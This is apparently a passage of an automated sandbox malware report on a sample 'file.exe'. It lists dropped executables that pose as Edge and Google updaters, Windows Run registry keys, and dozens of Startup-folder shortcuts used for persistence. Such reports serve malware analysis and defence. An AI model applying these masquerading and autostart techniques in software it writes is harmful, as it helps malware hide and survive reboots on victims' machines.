Source: LKMService_ddd5f525ed5b46b4872a7b2f5f49c219.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1238fd8ee71240d68ed02f257e4f6ebe.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1eedc420d3c442fca18214337e8a8d48.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_a79d86293eaf46ee8d360f284e34f44f.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_bd1d67eb73f3420f923c5e59d72d7657.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ffa014cd80d545b8a6494da3aa96fbd6.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6c6b588caa844b57a0a5088c0caff79d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0af13e2ef0b74df9b26b0013003308c2.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ec672003c90e43629a85b9ccedf8a3ad.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_45b918bfe3fa429eb04af0188bc6f769.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_234289a5f34e4afaa6298bf5e89a18ab.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_44e91de48d86446e9134d06d32e74ccb.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_b1c891a87f2a424090032bbca24d6957.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4dcacfa1a86c432083bf8b0b5a0271f9.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_a48a60e92d6d49858ff57468d0ccb13b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_20184c95f91148f28d199e72f5151a5e.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_04b170d6c7ce4a1cbf80adf59681ef6c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4d41daae070349c7bb4da78c00b33aa2.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_b74ce5e43287458c924871cbb9cb6a01.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_94e5a6ccc49c4da3b45df093f1e6b9a0.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_443763e809b44174b5ff2a4a08c59b57.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7b8222f05a2243e4bcea1ad9fe8366cb.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_94e6b20f455d4378b2984888b22868f6.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_f8e58d825fa74171bfeca8fc739bf90c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_67aa16d8cbb54193b4cc6a43ae987154.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_06a2df6d73e84a5e813020c8b6294cb5.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_5a4a50916973408ead1e547cb01eafdc.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_bd22ce9b6a094cc699e66f19004446a8.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e17a0145e1874fd581df00f92fad4d95.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ba265ae44a0846b0b141c88b4de7385c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_aa4c217e90064fdba31aee42ef5f94e3.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ef03ebc379144cfbacc3c963398c9e84.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0657835699574d798ee14fa601ae70ef.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7edecea1f3264cb48b56c5beb7775ec4.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_95a947d800db4421aaa1b0527996e996.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_29e9667de0f44cee8802f9fd6fe0c816.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d8ccb28aeeba4f978466d5b95b50a361.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_f75f552ad5d747d0a6f42fcc49bc195c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_efba153a21ad49929ad2ae53a48fbeac.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d92578193ef04bd18e26b1044e69116f.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4fb0dcab88cc400091f460159d26935b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_427256daf11446c5b6457ba6028fbd14.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_90ff9500f00e4c0f837777ff468b61ea.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_09cca5bcef6544df9edf8d1207550362.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_dd72185e7b4248d8bbba73eea6b6752b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_3244f43be22c4cf6b2b13ef99bd1ce28.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d58922b348994a7682e59305fdb4fdae.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_60b87a4435fa46038c0b62cc0d3511f4.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_596193a42f0a43ae9dcad375648995a0.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_82ea9cf6c7074533a8c476ada3009643.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_191408fc2b864810b50a973cb5e264d7.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9925415a031b4e0da32b28ed8dc8d494.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_de2ff563f8fe48b1a26a389369ec8b31.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_12db5bdc2a9e479eabc4a4ddf27d359b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e56d9ed9f100469b82435697a23ad99a.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ac1ef3cc13134c499fb23787e8ff5888.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_645de0150d874163869d6670072f2b6d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1247b6d2ce8949e89d6283471c3c994c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6815355ca8ca458cb90615cdfafe5e99.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_189716ad4c76443991e531bde2b1e834.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_13d33fad7e1144ec89102dc080b31912.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1adef8d2980c4340a53115438b966ff1.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_411d1b5be20944329c2f73c2360baac5.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4d182f3f8aa84fdc8429a68b7cb680b5.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e96cb81d930d44f689b031296e548724.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4723ef536bc343598f2bfc0f06e4eee9.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_c6f4a0d196f1431b97c1ca0a54d6a5f6.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_128c02f1ec9541c28fa9b464dfde3dda.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_34f83a48c94b451684bc20e7bbce765c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9661d0a630474f7f8558ad549a470686.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_18736ad6e96149a8837bebc178909564.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_831b0a55c2c64cd583480350d1483906.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6023d90ba84e4cc287bbd7dad0b0f370.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_3487f4a78e4c4ed692c3a4dd9d37da1d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_385e0454507a4cbc8028a419a3f3575b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_395dc20f388c493cb2e340e45a0e2bc4.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9da6de5b91dd464894979aaebd48db19.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_299ef4500ff444a7878c71276737d16a.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7a8f788e11724f0ca5a9d1fc5ab7c538.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_8e54c670959a454a97ad13aa773c1f60.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_caed82bb3f0e4a7ea707bc76a6fc3777.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9ac0c69395954e38900ffb3ca58d3ba1.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_fd3d815983104781b859fdd43d84f2e3.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1af8b363b24d45a5bab49af667a231a4.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_50b063bc160540a7950a6a8c30d9d6cb.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_b37c7c98fe524dcca19f991542895064.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6de9ad61d05342bbaea8461c36d48f9d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_5b8c9e27885442bd89a02ee583af0859.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_30da072590d94300b55427151208c02e.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_97548214d28742fca3e97ce5dd7a7648.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_dc072b743b6f4e9aafacf04709fae9af.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4c1a1fdb17a948d39ccd99e8dd33f60c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_57e4af9a92374b1ab3386fa9fa0b2365.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0f7a229e62c443b3836c558cdada5568.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_8fc7e022430f4c0eb32963c90cabc375.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_2879c60006bd4f64b15209bb1ee6cebf.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_151ad724e88b4541bb35e81bd15c75d7.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_8fc872a122124b5bbd1ebd05e7c8393f.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0d1f41de375d4af797c518995ef8714e.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6f1dda9a1a0d426cb156e1fa46783ff7.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_12a614bbc4f9486c994c34e5055220c6.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_067c27cc5a44493a9de076a306d25402.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9fe90a3eb53548088fb8d5fcf5dccd44.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7800bd24845d49299ad4b57254cf405d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_39d434e7593546b9aa5fb10c43e7790d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_959eb1234d0a483ba52c54a8a3da24cd.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_92e71b09f6eb49e190831f59b9874117.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_da9dbf1a1a2949a39893e1500ebb68c7.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_56861caf39d047a594a24b96a3ef7d20.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_93b2bcec93924441bf062241cac8bcfa.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_a3578f11b7fb408c9f12c011070ccf44.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9d949db4125f402aa0319cfce5bd7f56.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d057c138b8c54fc8848d4d1b7cca215d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb$_ source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: GoogleUpdater.exe, 00000009.00000002.2253480045.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbtq" source: GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: SHA1ows\mscorlib.pdb source: GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbL0 source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: ws\mscorlib.pdb) source: LKMService.exe, 00000003.00000002.2242706882.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: orlib.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2253802251.0000000000F86000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: LKMService.exe, 00000003.00000002.2242749531.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: LKMService.exe, 00000003.00000002.2243589485.0000000002CE6000.00000004.00000800.00020000.00000000.sdmp, GoogleUpdater.exe, 00000009.00000002.2254336605.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERA691.tmp.dmp.6.dr, WERC4F6.tmp.dmp.11.dr

Source: file.exe

Static PE information: 0xBABCC4CF [Thu Apr 11 19:15:27 2069 UTC]

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Code function: 1_2_031006BF push edi; retf

1_2_031006C2

Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe			Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LKMService_fb6c211cefa74248b703266e5d81f6eb			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LKMService_95ddeae38f2d454fad2ebf219c344fc9			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_472749f636994be5bfcb24189b3266c5.lnk

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_472749f636994be5bfcb24189b3266c5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f526512d48414187b35310aa42fee7db.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_114cb2fd114a4308b1d249db48cea183.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_5f854f00a78f4123bec07a2538a7dbef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f31747700de84b3a92dfed1987c441e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_62a9c111b7024bf1b7e3427143df5dbe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_620a46450f79496ba4eff1761b5fc9f5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_12f721a10ead40b1ae55ac94282a3417.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_b468a5a753b74bc88784ee58a23f7452.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_13ab457068c342afb09cdd1b1fab564b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_99873ac9e6374501a7d41a5bd5c0fd01.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3f3cf56c6562461aadeb1c83fa5ecd0e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dea9ababe47c4fed9cac73f27b471539.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9d459e8b7367496aa7d4137895062eab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6ab7ab4f25cd4db2b5e6cb0bcc44772f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_16b570f0f5a744ad926af9b2e57a508a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_619c5004471c4a2e938c1cf940f0681c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_9fdd6a820df34e0eb28e36d0925da6c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_217ab5a39a494a84a9c9b9f3d9267445.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_0041bb5e6a304e3ab1306a0efb97daf8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6ea984856cb5485087be0cf5fe4dd6e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6bfc3d831634488eb95b5f6dc4e48e8a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_c06a49c31e2542078c328f3120042026.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_89af2bd216d24a638611f396b3694166.lnk	Jump to behavior
